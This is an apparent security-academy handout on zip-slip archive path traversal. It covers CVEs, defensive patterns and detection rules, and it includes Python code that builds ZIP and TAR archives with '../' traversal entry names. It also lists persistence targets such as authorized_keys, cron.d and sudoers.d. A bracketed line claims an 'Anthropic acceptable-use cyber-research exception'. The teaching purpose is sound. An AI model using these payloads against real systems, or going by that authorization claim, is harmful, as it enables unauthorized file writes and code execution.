CVE Class: Zip-Slip Pattern (Archive-Extraction Path Traversal)

4,806 words · ~22 min read 2026-05-07 v2 (2026-05-07: cyber-use footnote per D7)

Course companion for: SEC-101 Module 4 (Vulnerability Landscape) + PEN-101 Week 6 (CVE-driven exploitation set) + ADV-101 Belt-5 capstone preparation + RE-011 Module 3 (Foundational disclosure-vocabulary onramp) **Scope:** vocabulary reference / class-shape deep-dive **Pairs with parent vocab handout:** `cross-chapter-cve-class-vocabulary-reference.md` §4 path-traversal row (CWE-22 ScreenConnect anchor) **Anchor incident:** CVE-2026-5656 (Wireshark Profile import; full walkthrough in `cve-lab-wireshark-rce-quartet-2026-05.md` §4) **Version:** 2026-05-07 v2 (2026-05-07: cyber-use footnote per D7)

[Authorized under Anthropic acceptable-use cyber-research exception; see handouts/cross-chapter-anthropic-cyber-use-citation.md for policy details and academy provenance.]

Overview

This handout is a **class-shape deep-dive** at vocabulary. It sits between the parent vocab handout's single-paragraph summary of the path-traversal row (`cross-chapter-cve-class-vocabulary-reference.md` §4 ScreenConnect anchor) and the advanced LMS-side reproduction labs (future infrastructure; not yet shipped). The pedagogical goal is **vocab-fluency at the class shape**, not at any individual CVE's PoC reproduction depth. Students leaving the handout should recognize zip-slip in the wild, name the substrate that carries the bug, walk the canonical defensive-pattern catalog, and forward-reference where each defensive layer lives in their academy curriculum.

The handout pairs with three companion documents on the same handouts/ shelf: the parent vocab handout (`cross-chapter-cve-class-vocabulary-reference.md`) which carries the broader CVE-class taxonomy at single-paragraph register; the Wireshark RCE Quartet walkthrough (`cve-lab-wireshark-rce-quartet-2026-05.md`) which carries the

academy's primary CVE-2026-5656 lab content; and the Suricata rules reference (`cve-suricata-rules-reference-wireshark-quartet-2026-05.md`) which carries the detection-rule layer for the same CVE.

`--authorized-by` discipline applies throughout. Every PoC payload constructed against this class is constructed against an academy-owned, intentionally-vulnerable lab harness inside the `fwlab` container or equivalent. Production extraction tooling and production archives from outside the analyst's organization are never the test target. The cohort discipline that ADV-101 enforces extends unchanged.

---

§1: What this handout covers

Class definition. Zip-slip is a specialized form of path-traversal where the attack vector is **archive extraction** rather than a URL or filesystem-API path argument. An archive (ZIP, TAR, 7z, RAR, JAR, WAR, or any other format that bundles a list of named entries with their content) carries entry names that are **paths**. When extraction logic computes the filesystem destination by concatenating each entry name onto a base extraction directory, an entry name containing relative-path-traversal sequences (`../` on POSIX; `..\` on Windows; UTF-8 normalization tricks; mixed-separator confusion) resolves the destination outside the intended extraction root. Files write where the operator did not intend; in the worst case, files write into a directory whose contents are auto-executed (boot directory, plugin directory, scheduled-task directory, web server document root). The attacker turns "extract this archive" into "run my code" or "overwrite your sensitive files" without needing any other primitive.

Historical anchor. The class was given its current name by Snyk's research team in 2018, in a coordinated disclosure naming the pattern across multiple language ecosystems and dozens of libraries. Snyk's research enumerated Java, JavaScript, Python, Go, Ruby, .NET, and Groovy ecosystems as carrying the bug at framework or library level, and shipped patched versions for many affected projects in the 2018 disclosure window. The class predates the 2018 naming by decades; tarbombs (archives that extract to inconvenient places) and zip-bombs (archives that expand to unmanageable sizes) are adjacent vulnerabilities that the 1990s-era archive-tooling community already understood, and the canonical Python `tarfile` documentation has carried a warning about untrusted archive extraction since at least 2007. What Snyk's 2018 research added was a **named class** plus a **systematic ecosystem audit** plus a **standard mitigation idiom** that converged the previously-fragmented per-language treatments.

Pedagogical goal. Students should leave this handout able to (a) recognize the zip-slip class in the wild from a CVE description or disclosure write-up, (b) name the substrate-level mechanism that carries the bug across languages, (c) walk the canonical defensive-pattern catalog at vocabulary-fluent depth, and (d) forward-reference where each defensive layer lives in the academy curriculum. The handout's pedagogical payoff scales beyond zip-slip into the broader set of substrate-level vulnerability classes, per §9.2. Reproduction-tier work (writing the canonical PoC; deploying the defensive patterns in a working extraction tool; writing the detection rules) is advanced level and lives in PEN-101 / ADV-101 / SEC-101 lab work.

Gating note. This is a foundational level handout. The defensive-pattern catalog (§5) and the historical-CVE roster (§3) are exposition at vocab-tier; the canonical PoC walk (§4) describes the construction at the level a student can replicate against an academy lab harness, but does not hand-deliver a working PoC binary. Students reproducing against any non-academy target without explicit written authorization are operating outside the academy's `--authorized-by` discipline.

---

§2: The zip-slip class shape

§2.1 Bug substrate

The bug substrate is a three-way intersection of filesystem semantics, archive-format semantics, and extraction-API contract.

Filesystem semantics. POSIX (and Windows-emulating-POSIX layers like Cygwin and WSL) treat `../` as a relative-path operator that ascends one directory. The path `/tmp/extract/foo/../bar/file.txt` resolves to `/tmp/extract/bar/file.txt`; the path `/tmp/extract/../etc/passwd` resolves to `/etc/passwd`. The resolution happens in the kernel's path-lookup logic; userspace code that constructs a path by string concatenation and then opens it gets the resolved path semantically, even though the literal path string contains the `..` sequences. This is by design; relative paths are a feature.

Archive-format semantics. ZIP, TAR, 7z, RAR, JAR, WAR, EAR, APK, IPA, NUPKG, WHL, GZ, BZ2-with-TAR, and many other archive formats encode each entry as `(name, content, metadata)`. The `name` field is a string that names a path. Most archive formats permit any byte sequence in the name field; some formats (ZIP) recommend forward-slash separators in the spec but permit other encodings; some formats (TAR) have UStar / PAX extensions that allow longer names with no separator-character constraint. **No mainstream archive format requires the name field to be a relative path**

inside any specific root. Archive entry names containing `../`, absolute paths, drive-letter prefixes (Windows), or special path components (POSIX `.` / `..`; Windows `CON` / `PRN` / `AUX`) are valid by the format specification.

Extraction-API contract. A naive extraction loop iterates entries, computes a destination path by concatenating the entry name onto a base extraction directory, opens that destination for writing, and writes the entry's content. This is the most ergonomic API for the common case (entry names that are simple relative paths inside a root) and the failure mode for the malicious case (entry names that escape the root via `../`). The contract failure is at the extraction API: it implicitly trusts the archive's entry names to be inside the destination root, but the archive format does not enforce that constraint, so the extraction-time check has to be explicit.

The intersection. Zip-slip is the bug that lives at the intersection. The filesystem permits the resolution; the archive format permits the entry name; the extraction API trusts what the archive provides. Each layer is doing its job under its own contract; the bug is the missing cross-layer validation that the resolved destination stays within the intended extraction root.

§2.2 Canonical PoC pattern

The canonical PoC pattern is a single-entry archive whose entry name contains enough `../` sequences to escape the extraction root, followed by a path component that targets a sensitive destination.

```
Archive entry name: ../../../../../../../../../../tmp/pwned.txt
Archive entry content: [arbitrary bytes; for proof-of-concept, a marker string]
```

When extracted into `/home/alice/extracted/` by a vulnerable tool, the entry resolves to `/home/alice/extracted/../../../../../../../../../../tmp/pwned.txt`, which the kernel resolves to `/tmp/pwned.txt`. The extraction succeeds; the file appears outside the intended directory; the PoC is demonstrated.

Stronger PoC patterns target **directories whose contents are auto-executed**. The canonical user-context targets:

- `~/.ssh/authorized_keys` (replace or append; gain SSH access on next login)
- `~/.bashrc` or `~/.bash_profile` (execute on next interactive shell)

- `~/.config/autostart/*.desktop` on Linux desktops (execute on next desktop login)
- `~/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/*.lnk` on Windows (execute on next user login)

The canonical root-context targets (only reachable when the extraction process runs as root):

- `/etc/cron.d/*` or `/etc/cron.hourly/*` (execute at the next cron interval)
- `/etc/sudoers.d/*` (grant arbitrary sudo privileges)
- `/etc/systemd/system/*.service` (execute on next service start)
- `/lib/systemd/system-generators/*` (execute on next boot)

The CVE-2026-5656 Wireshark Profile import case targets the application's **plugin directory** (`~/.config/wireshark/plugins/` or platform equivalent), where any `.lua` file that lands gets auto-executed at Wireshark startup. This pattern recurs whenever an application combines archive extraction with auto-execution of extracted content; the academy's `cve-lab-wireshark-rce-quartet-2026-05.md` §4 walks the full chain.

§2.3 The substrate-vs-language angle

Zip-slip is a **substrate bug**, not a language-level memory-safety bug. The substrate that carries the bug is the filesystem-plus-archive-format-plus-extraction-API combination, not any specific language's memory model. The class therefore appears across language ecosystems with no language giving structural protection:

Rust does not fix it. Rust's memory-safety guarantees do not extend to filesystem-path semantics. A Rust extraction tool that concatenates an attacker-controlled archive entry name onto a base directory and writes the content has the same bug as a C++ extraction tool. The Rust `zip` crate's `enclosed_name()` method (introduced in 0.5.x) is a defensive helper, but using it requires the developer to know the helper exists.

Go does not fix it. Go's `archive/zip` package returns each entry's name as the developer encoded it; the package does not validate that the name resolves inside a given root. Go extraction code must use `filepath.Clean` plus an explicit prefix-check.

High-level languages do not fix it. Python's `zipfile.ZipFile.extractall()` did not validate paths until very late in the language's history; Python 3.12 added the `tarfile.data_filter` and `zipfile` filter APIs (PEP-706) only in 2024, eighteen years after the `tarfile` documentation first warned about the issue. JavaScript's `node-tar`, `unzipper`, `extract-zip`, and `decompress` packages have shipped multiple zip-slip CVEs across the past decade; modern versions ship with mitigations enabled by default, but legacy code paths and older versions remain in widespread use.

The class persists across language ecosystems for a reason. The substrate (filesystem-plus-archive-format) is shared; the extraction API contract (concatenate-then-write is ergonomic; validate-then-write requires extra code) is shared. Language-level safety guarantees address language-level failure modes; substrate-level bugs require substrate-level mitigations or per-call defensive patterns. The pedagogical lesson is that **language choice does not protect you from substrate-level class bugs**; you have to know the class and apply the mitigation explicitly. Belt-3 graduates internalizing this lesson generalize beyond zip-slip into the broader register of substrate-level vulnerabilities (TOCTOU races, symlink-following, command-line argument injection, environment-variable-driven path construction, filesystem-case-sensitivity confusion).

---

§3: Historical CVE roster

This section anchors the class on five representative CVEs across language ecosystems, archive formats, and impact severities. The roster is **non-exhaustive**: dozens of zip-slip CVEs have been disclosed across web frameworks (Spring, Express), build tools (Maven, Gradle, npm), JavaScript libraries (multiple `node-tar` and `unzipper` releases), .NET archive libraries (DotNetZip historical CVEs), Java archive utilities (Plexus, Apache Commons Compress), Python's own `tarfile` module (rediscovered 2022 across the ecosystem), and Go archive consumers. The five rows below are anchors, not an exhaustive set.

§3.1 CVE-2018-1002200: plexus-archiver (Apache Maven dependency)

Class shape: Zip-slip in `plexus-archiver`, a Java library used by Apache Maven and many downstream Java build tools to extract archives during build steps. An archive entry name with `../` sequences resolved outside the intended extraction directory during library use.

Impact: Build-time arbitrary file write on any host running a vulnerable Maven build; in CI/CD environments this includes shared build agents, which extends the reach to every project that runs through the affected agent.

What was fixed: Plexus-archiver 3.6.0 added `Path` canonicalization and a startsWith-based prefix check on each entry's resolved destination; the dependency cascade flowed through to Maven and downstream tools as those projects updated. This is one of the canonical CVEs Snyk's 2018 research surfaced in their initial coordinated disclosure naming the class.

§3.2 CVE-2018-8009: Apache Hadoop Common

Class shape: Zip-slip in `unTar()` and adjacent extraction utilities in Apache Hadoop Common's `org.apache.hadoop.fs.FileUtil` class. A malicious TAR archive uploaded to a Hadoop cluster triggered out-of-tree file writes during the cluster's archive-extraction logic.

Impact: Server-side arbitrary file write on Hadoop cluster nodes. Hadoop deployments often run with elevated filesystem privileges (under `hdfs` or equivalent) and are network-accessible inside enterprise data lakes; the impact reaches the Hadoop cluster's filesystem and frequently the underlying host.

What was fixed: Hadoop 2.7.7 / 2.8.5 / 3.0.3 / 3.1.1 added per-entry path canonicalization plus prefix verification before each write. The fix shipped through the standard Hadoop release channel; production deployments that lagged on patches remained vulnerable through 2019.

§3.3 CVE-2007-4559: Python `tarfile` module

Class shape: Zip-slip in CPython's standard-library `tarfile` module, specifically in `TarFile.extract()` and `TarFile.extractall()` when invoked on archives whose entry names contained absolute paths or `../` traversal sequences. The CVE was first assigned in 2007; CPython did not ship a default mitigation for fifteen years.

Impact: Application-level arbitrary file write whenever a Python program extracted an untrusted TAR archive without manually validating entry names. The Trellix Advanced Research Center's 2022 audit demonstrated that the bug remained exploitable across approximately 350,000 GitHub repositories at the time of their disclosure; the same Python `tarfile` documentation that warned against the issue was widely overlooked because the language did not enforce the warning at API level.

What was fixed: Python 3.12 (released October 2023) introduced `tarfile`'s `data_filter` API per PEP-706, providing default-safe extraction behavior that rejects entries with absolute paths or `..` traversal. Python 3.11 and earlier remain vulnerable in their default `extractall()` invocation; the PEP-706 filters were backported to 3.8 / 3.9 / 3.10 / 3.11 as opt-in keyword arguments but the default behavior was not changed in those branches to preserve API compatibility. The `zipfile` module received an analogous filter API in the same release window.

§3.4 CVE-2022-24765: Git for Windows (.git/config pollution; adjacent class)

Class shape: Adjacent path-traversal class. Not strictly an archive-extraction bug; instead, Git for Windows would discover a `.git` directory on a parent path of the working directory and trust its `.git/config` even when that parent path was a removable drive or a network share controlled by another user. The path-resolution logic that walked up the directory tree did not validate ownership of the discovered `.git` directory before trusting its configuration.

Impact: Arbitrary command execution on the Git user's machine when a malicious `.git/config` was placed on a removable drive or shared filesystem; the next `git` invocation in any directory under the malicious mount would execute attacker-controlled commands via Git's `core.fsmonitor` or similar configuration-driven hook mechanism.

What was fixed: Git 2.35.2 added ownership verification on the discovered `.git` directory; if the directory's owner does not match the current user (or an explicit allow-list configured via `safe.directory`), Git refuses to use the configuration. The fix shipped in Git for Windows alongside the upstream Git project's coordinated disclosure window. The class is anchored here because it shares the substrate-level path-resolution mechanism with archive-extraction zip-slip; the lesson generalizes (cross-substrate path-resolution is a class shape across VCS tools, archive tools, and any program that walks a directory tree to discover configuration).

§3.5 CVE-2026-5656: Wireshark Profile import (academy quartet anchor)

Class shape: Zip-slip in Wireshark's `WiresharkZipHelper::unzip()` function (`ui/qt/utils/wireshark_zip_helper.cpp`). The function reads each entry's name, appends it to the extraction-directory base path, and writes the entry's content to the resolved location with no validation that the resolved absolute path stays within the extraction directory. Combined with Wireshark's auto-execution of `.lua` files in the plugin directory, the path-traversal primitive becomes a remote-code-execution chain on Wireshark startup.

Impact: Local arbitrary file write inside the Wireshark configuration directory tree, escalating to arbitrary code execution at Wireshark startup via auto-loaded Lua plugin. The social-engineering vector is plausible: a "shared analyst profile" distributed inside a SOC, an academic team, or a community of analysts is a common cooperative artifact, and the import workflow is a single GUI dialog.

What was fixed: Wireshark 4.6.5 / 4.4.15 added canonicalization of the resolved entry path plus a prefix-check against the canonicalized extraction-directory root; entries that fail the prefix-check are rejected and an error is logged. The patch lives in `WiresharkZipHelper::unzip()` and is referenced from upstream issue #21115. The academy's cohort lab walks the patch line-by-line in `cve-lab-wireshark-rce-quartet-2026-05.md` §4 + §6 (RE-011 walked example). The detection-rule layer for the same CVE lives in `cve-suricata-rules-reference-wireshark-quartet-2026-05.md` §3.4.

Footnote on the roster. The five CVEs above span the canonical Snyk-named 2018 discovery (plexus-archiver), the high-impact server-side Hadoop case, the long-tailed Python standard-library case (15 years to default-safe), the adjacent VCS-path-traversal class (Git ownership confusion), and the academy's just-walked Wireshark Profile case. Several other historically significant zip-slip CVEs are out-of-scope for this core roster but worth knowing by name: Spring Framework's earlier zip-slip CVEs that Snyk's 2018 research surfaced; multiple `node-tar` and `unzipper` releases across 2018-2020 in the JavaScript ecosystem; DotNetZip's CVE-2018-1002201 in the .NET ecosystem; Apache Commons Compress and Apache Ant in the Java build-tool ecosystem. Students seeking deeper coverage should follow the CISA KEV catalog and Snyk's vulnerability database for current rosters.

---

§4: The canonical PoC payload

This section describes the construction of a zip-slip PoC at the level a student can replicate against an academy lab harness. **The construction does not hand-deliver a working PoC binary; the student assembles the payload against an academy-owned, intentionally-vulnerable extraction tool inside the `fwlab` container or equivalent, under explicit `--authorized-by` discipline.** Production extraction tooling and production archives from outside the analyst's organization are never the test target.

The simplest construction in Python uses the standard-library `zipfile` module and bypasses the module's own normalization by writing a fully-formed `ZipInfo` entry with an attacker-chosen filename:

```python
# Construct a single-entry ZIP with an entry name that escapes the extraction root.
# Run only against an academy-owned, intentionally-vulnerable lab harness under
# --authorized-by discipline. Do not run against production tooling.
import zipfile
import io

# Target path. For user-context test against a lab harness, this might be a marker
# file under an academy-controlled directory two or three levels above the
extraction
# root. Production targets (.ssh/authorized_keys, /etc/cron.d/) are out of scope.
entry_name = "../../../../tmp/lab-zip-slip-marker.txt"
entry_content = b"academy-lab zip-slip PoC marker; do not deploy outside lab"

buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
    info = zipfile.ZipInfo(filename=entry_name)
    zf.writestr(info, entry_content)

with open("zip-slip-poc.zip", "wb") as f:
    f.write(buf.getvalue())
```

The resulting `zip-slip-poc.zip` carries one entry whose name is the traversal sequence. A vulnerable extraction tool that opens the archive and writes each entry into its concatenated destination places the marker file outside the intended extraction directory; a non-vulnerable tool rejects the entry on the prefix-check (§5.1).

The TAR equivalent uses the standard-library `tarfile` module with similar care:

```python
# Construct a single-entry TAR with an entry name that escapes the extraction root.
import tarfile
import io

entry_name = "../../../../tmp/lab-zip-slip-marker.txt"
entry_content = b"academy-lab zip-slip PoC marker; do not deploy outside lab"

buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w") as tf:
    info = tarfile.TarInfo(name=entry_name)
    info.size = len(entry_content)
    tf.addfile(info, io.BytesIO(entry_content))

with open("zip-slip-poc.tar", "wb") as f:
    f.write(buf.getvalue())
```

Both constructions intentionally avoid `os.path.join()` or other filesystem operations on the entry name during construction; the goal is to produce an archive whose entry name carries the literal traversal string, which depends on the consuming extraction tool's behavior to be vulnerable.

The CVE-2026-5656 PoC for the academy cohort lab follows the same pattern but targets the Wireshark plugin directory with a Lua entry name (`../../../wireshark/plugins/lab-marker.lua`). The full lab construction recipe lives in `cve-lab-wireshark-rce-quartet-2026-05.md` §4; this handout does not duplicate that recipe.

---

§5: Defensive-pattern catalog

Five defensive patterns compose the zip-slip mitigation toolkit. Each pattern addresses a different defensive layer; production-quality extraction tooling combines several patterns rather than relying on any single one.

§5.1 Canonicalization plus boundary-check pattern

The pattern. For each entry, compute the absolute resolved path of the proposed write destination. Compare the resolved path against the absolute resolved path of the intended extraction root. Reject the archive on the first violation; do not continue extraction with a "safe subset" because partially-extracted archives leave the system in an inconsistent state and complicate cleanup.

Python idiom:

```python
import os
from pathlib import Path

def safe_extract(zf, dest_root):
    dest_root_abs = Path(dest_root).resolve()
    for entry in zf.infolist():
        target = (dest_root_abs / entry.filename).resolve()
        # Verify target is inside dest_root_abs.
        if dest_root_abs not in target.parents and target != dest_root_abs:
            raise ValueError(f"zip-slip rejected: {entry.filename}")
    zf.extractall(dest_root_abs)
```

Cross-language conceptual equivalents:

- **Go:** `filepath.Rel(destRoot, target)` plus explicit check that the result does not start with `..` or contain `../` after the call. The standard idiom uses `strings.HasPrefix(filepath.Clean(target), filepath.Clean(destRoot) +string(os.PathSeparator))`.
- **Java:** `Paths.get(destRoot).resolve(entryName).normalize().toAbsolutePath().startsWith(Paths.get(destR` the modern Java idiom uses the `Path.startsWith(Path)` overload to avoid string-prefix-comparison bugs.
- **Rust:** `Path::canonicalize()` plus `Path::starts_with()`. The `zip` crate's `enclosed_name()` method exposes this idiom directly when available.
- **C++:** `std::filesystem::weakly_canonical()` plus prefix comparison on the resulting `path` objects. This is the pattern Wireshark adopted in the CVE-2026-5656 patch at `WiresharkZipHelper::unzip()`.
- **Node.js:** `path.resolve(destRoot, entryName).startsWith(path.resolve(destRoot) + path.sep)`; the modern `node-tar` library encapsulates this in its `prefixesIgnored` and `cwd` configuration.

Trade-offs. Canonicalization with the kernel's path-resolver requires that the path components exist on disk in some cases (POSIX `realpath()` resolves symlinks; weakly-resolving variants tolerate non-existent intermediate components). Different language standard libraries make different choices; the developer must verify which variant their

language uses and whether the variant matches the expected behavior. Symlinks complicate the picture further; see §6 for the symlink-following race-condition adjacency.

§5.2 Allow-list / deny-list pattern

The pattern. Reject entries whose names violate a known-bad pattern: contain `..` as a path component, are absolute paths, contain platform-specific special characters (Windows drive-letter prefixes; UNC paths starting with `\\`; Windows alternate data streams via `:`; reserved Windows filenames like `CON` / `PRN` / `AUX`; null bytes).

Trade-offs. The pattern is conceptually simple and easy to audit, but the deny-list is a moving target across platforms and the reject-on-violation rule occasionally flags legitimate archives. Some legitimate archives use `..` in non-malicious ways (e.g., entries representing intentionally-out-of-tree symlinks for documentation purposes); rejecting overzealously breaks compatibility with these archives. Modern best practice prefers the canonicalization-plus-boundary-check pattern (§5.1) over deny-listing because canonicalization captures the actual security property (resolved path inside root) rather than approximating it via string patterns.

§5.3 Sandbox / chroot extraction pattern

The pattern. Extract the archive into a fresh temporary directory under a controlled location (e.g., `/tmp/extract-{random}/`). After extraction, validate each extracted file's path matches the expected structure, then move only the trusted files into the real destination. The temporary directory is then deleted regardless of validation outcome.

Trade-offs. The pattern provides defense-in-depth because the canonicalization-plus-boundary-check pattern (§5.1) protects the temp-directory boundary, and even if a zip-slip primitive escapes the temp directory, the resulting files are not in their final destination and not yet trusted by the application. The cost is double I/O (each entry written once into temp, then copied or moved into final location) and increased complexity; the benefit is reduced single-point-of-failure surface. Production extraction tooling running on untrusted inputs (CI/CD systems extracting third-party archives; SaaS platforms extracting user-uploaded content) frequently combines this pattern with §5.1.

§5.4 Safe-extract API pattern

The pattern. Use a language-provided or library-provided extraction API that is **default-safe** rather than default-permissive. The API enforces the canonicalization-plus-boundary-check pattern internally, so the calling code does not need to know about the bug class.

Language API maturity status (as of 2026-05):

- **Python:** `tarfile.data_filter` and `zipfile` filter APIs (PEP-706, Python 3.12 default-safe; Python 3.8-3.11 opt-in). Calling `tarfile.extractall(filter='data')` rejects entries that would write outside the destination root, traverse symlinks, or apply suspect file modes.
- **Java:** No standard-library default-safe extraction API. Apache Commons Compress 1.21+ added validation helpers; most application code still has to apply §5.1 manually. The legacy `java.util.zip.ZipInputStream` / `ZipFile` classes return entries without validating names.
- **Go:** `archive/zip` returns entries without validation; the standard idiom is to apply §5.1 manually. Several community libraries (`mholt/archiver`) wrap the standard library with default-safe behavior.
- **Rust:** The `zip` crate's `enclosed_name()` method returns the entry's name as a `PathBuf` only if the resolved path stays within the extraction root; otherwise it returns `None`. The `tar` crate has analogous `Entry::path()` validation. Both are opt-in helpers, not default-safe behavior on the bare `read_dir()`-style APIs.
- **Node.js:** `node-tar` 6.0+ defaults to safe behavior; older versions did not. `unzipper` requires explicit configuration. Modern best practice is to pin the minimum version of any archive library to a release that ships default-safe behavior.
- **C++:** No standard-library archive support. Library-by-library; libzip recent versions ship validation helpers; minizip and miniz are bare APIs that require §5.1 to be applied externally. The Wireshark patch in CVE-2026-5656 added the validation inline.

Trade-offs. Default-safe APIs are the strongest defense because they remove the burden from every caller. The trade-off is that legacy code paths and older library versions remain in widespread use; pinning library versions and enforcing minimum versions in CI is a complementary discipline.

§5.5 Detection-rule pattern (rule-based defensive layer)

The pattern. Detection rules at the network-traffic layer (Suricata, Snort, Zeek), at the file-content-inspection layer (mail gateways, file-sharing platforms, CI/CD pipelines), and at the endpoint-behavior layer (EDR rules) provide a defense-in-depth complement to source-code patterns. Detection rules do not prevent the bug from being triggered; they alert when the bug is being exploited or when a malicious archive is in transit.

The Suricata rule template for CVE-2026-5656 lives in `cve-suricata-rules-reference-wireshark-quartet-2026-05.md` §3.4. The rule structure pattern (`file.data` plus `content` matching for `../` in archive entry names) generalizes across zip-slip-class CVEs in the same protocol-and-transport context. A sister Snort 3 rule reference for the same CVE is in flight on `spec-curriculum-sec-sonnet` (sister round to this handout); when shipped, that handout will provide the Snort 3 syntax equivalent.

Trade-offs. Detection rules carry false-positive costs (legitimate archives sometimes contain `..` in non-malicious entries) and signature-evasion costs (an attacker who knows the rule structure can encode the traversal sequence in ways the rule misses, e.g., URL-encoded `..`, mixed-separator `..\\` on Windows, normalization tricks via UTF-8 or Unicode equivalents). Detection-rule patterns are a defense-in-depth complement to source-code patterns, **not a replacement** for source-code mitigation. The academy's `--authorized-by` lab harness deploys detection rules against the lab's intentionally-vulnerable Wireshark instance to teach the rule shape; production SOC deployments require their own tuning discipline.

---

§6: Cross-bug-class shape comparison sidebar

How zip-slip relates to four adjacent bug classes:

URL-path-traversal (parent class; CWE-22). The parent class is path traversal where the attack vector is a URL component or a filesystem-API path argument supplied through a network request. The canonical example: ScreenConnect's CVE-2024-1709 setup-resource exposure (covered in `cross-chapter-cve-class-vocabulary-reference.md` §4). Zip-slip is the archive-extraction specialization of the same parent class; the substrate-level mechanism (filesystem path resolution treats `../` as ascend-one) is shared, but the attack vector (archive entry name vs URL path) differs. Defenders who recognize URL-path-traversal extend the same canonicalization-plus-boundary-check pattern to archive-extraction code; failing to make this generalization is one source of the zip-slip class persistence.

Symlink-following race conditions (TOCTOU adjacent; CWE-367 / CWE-59). When an extraction tool checks an entry's destination path before writing, then writes after the check, an attacker-controlled symlink at the destination location can redirect the write between check-time and write-time. The race window is small but exploitable when the attacker can plant a symlink in the extraction directory between the validation and the write. Modern extraction APIs mitigate this by using `O_NOFOLLOW` flags on the underlying open syscall (POSIX) or equivalent (Windows `FILE_FLAG_OPEN_REPARSE_POINT`)

to refuse symlink traversal at the syscall level. The class is adjacent to zip-slip because both classes exploit gaps in the path-resolution discipline; defenders combining §5.1 canonicalization with `O_NOFOLLOW` close both attack surfaces.

VCS path-traversal (CVE-2022-24765 Git context). The Git-for-Windows CVE described in §3.4 is the canonical adjacent-class anchor. The mechanism is path resolution walking up a directory tree to discover configuration; the attacker controls a parent directory whose `.git/config` file the VCS tool then trusts. The attack vector is **different** (no archive extraction; the trust mechanism is the upward directory walk), but the substrate-level lesson is the same: cross-substrate path-resolution is a class shape, and validation has to live at every substrate boundary. Belt-3 graduates internalizing this generalization expect VCS-path-traversal CVEs as a recurring pattern in the discipline; the academy's `cross-chapter-cve-class-vocabulary-reference.md` §4 path-traversal row anchors the parent class, and this handout covers the archive-extraction specialization, but the VCS-path-traversal sub-class deserves its own future supplement (see §9.3).

Archive-format unsafe defaults (XML XXE / billion-laughs adjacent; CWE-611 / CWE-776). XML's external-entity processing and the related decompression-bomb class (a small archive whose extraction expands to gigabytes or terabytes) are adjacent substrate-level issues at the archive-format layer. They are **not the same class** as zip-slip (the attack mechanism is different; XXE injects external entities into XML parsing, billion-laughs amplifies through entity expansion or compression ratios, neither involves filesystem-path resolution), but they share the pattern of substrate-level archive-format defaults that prefer permissive over safe. Defenders building extraction tooling against untrusted archives audit all three classes at once: zip-slip via §5.1 canonicalization, XXE via XML parser configuration disabling external entities, billion-laughs via decompression-ratio limits or extraction-size caps. The pattern is "untrusted archive input requires layered defensive configuration"; zip-slip is one defensive layer in that broader discipline.

---

§7: Cross-track linkage

Course	Pickup module / week	Treatment register
SEC-101	Module 4 (Vulnerability Landscape)	Zip-slip introduced as a named CVE class with the §3 historical roster + §5 defensive-pattern catalog at vocabulary-fluent depth; canonicalization labs reproduce §5.1 against academy lab harness
PEN-101	Week 6 (CVE-driven exploitation set)	Archive-extraction PoC reproduction in `fwlab` against intentionally-vulnerable lab harness under `--authorized-by` discipline; the canonical zip-slip payload from §4 constructed and tested
ADV-101	Belt-5 capstone	Capstone-level refinement of detection rules + production-grade defensive infrastructure; students design defense-in-depth combining §5.1 canonicalization with §5.5 detection rules and audit a small extraction tool against the full §5 catalog
RE-011	Module 3 (Foundational disclosure-vocabulary onramp)	The canonical walked example uses CVE-2026-5656 (the academy quartet anchor); students walk the C++ patch line-by-line and understand the missing path-validation check without prior binary-exploitation background, then return to this handout for the cross-language generalization
RE-101 *(optional)*	Embedded firmware extraction modules	Reverse-engineering archive-extraction logic in extracted firmware archives (vendor SquashFS images, JFFS2 images, custom-firmware bundles); the zip-slip class persists in embedded extraction tooling and surfaces during the SB6141 lab-target firmware-analysis pipeline

The cross-track interleave reflects the academy's design discipline that canonical CVE classes return at different depths in different courses. Students encounter zip-slip first at SEC-101 vocabulary depth, reproduce it at PEN-101 lab depth, refine defenses at ADV-101 capstone depth, and walk the canonical C++ patch at RE-011 logic-bug depth. The same class, four levels, four pedagogical purposes; the academy's coordinated curriculum makes the multi-level treatment tractable without requiring each course to teach the class from scratch.

§8: `--authorized-by` discipline reminder

Every PoC payload, every defensive-pattern lab, and every detection-rule deployment described in this handout operates under explicit written authorization against academy-owned, intentionally-vulnerable lab harnesses inside the `fwlab` container or equivalent. Production extraction tooling and production archives from outside the analyst's organization are never the test target. The cohort discipline that PEN-101 Lab 1 establishes (the Statement of Work with scope boundaries; the Rules of Engagement with test-window timing and escalation procedures; the legal sign-off from the client's authorized representative) extends through this handout's pattern walks.

The pattern in concrete terms: a student constructing a zip-slip PoC against the academy `fwlab` Wireshark harness operates with the academy's explicit written authorization for the course; the same construction against a production Wireshark installation, against a colleague's machine without their written permission, or against any third-party software outside the academy's lab harness is not authorized and is not what this handout describes. The defensive register applies the same discipline: detection rules deploy against academy lab traffic, not against production analyst workstations. The academy's commitment to producing graduates whose first instinct is "do I have written authorization?" rather than "what's the exploit?" is the professional ethical scope this handout sits inside.
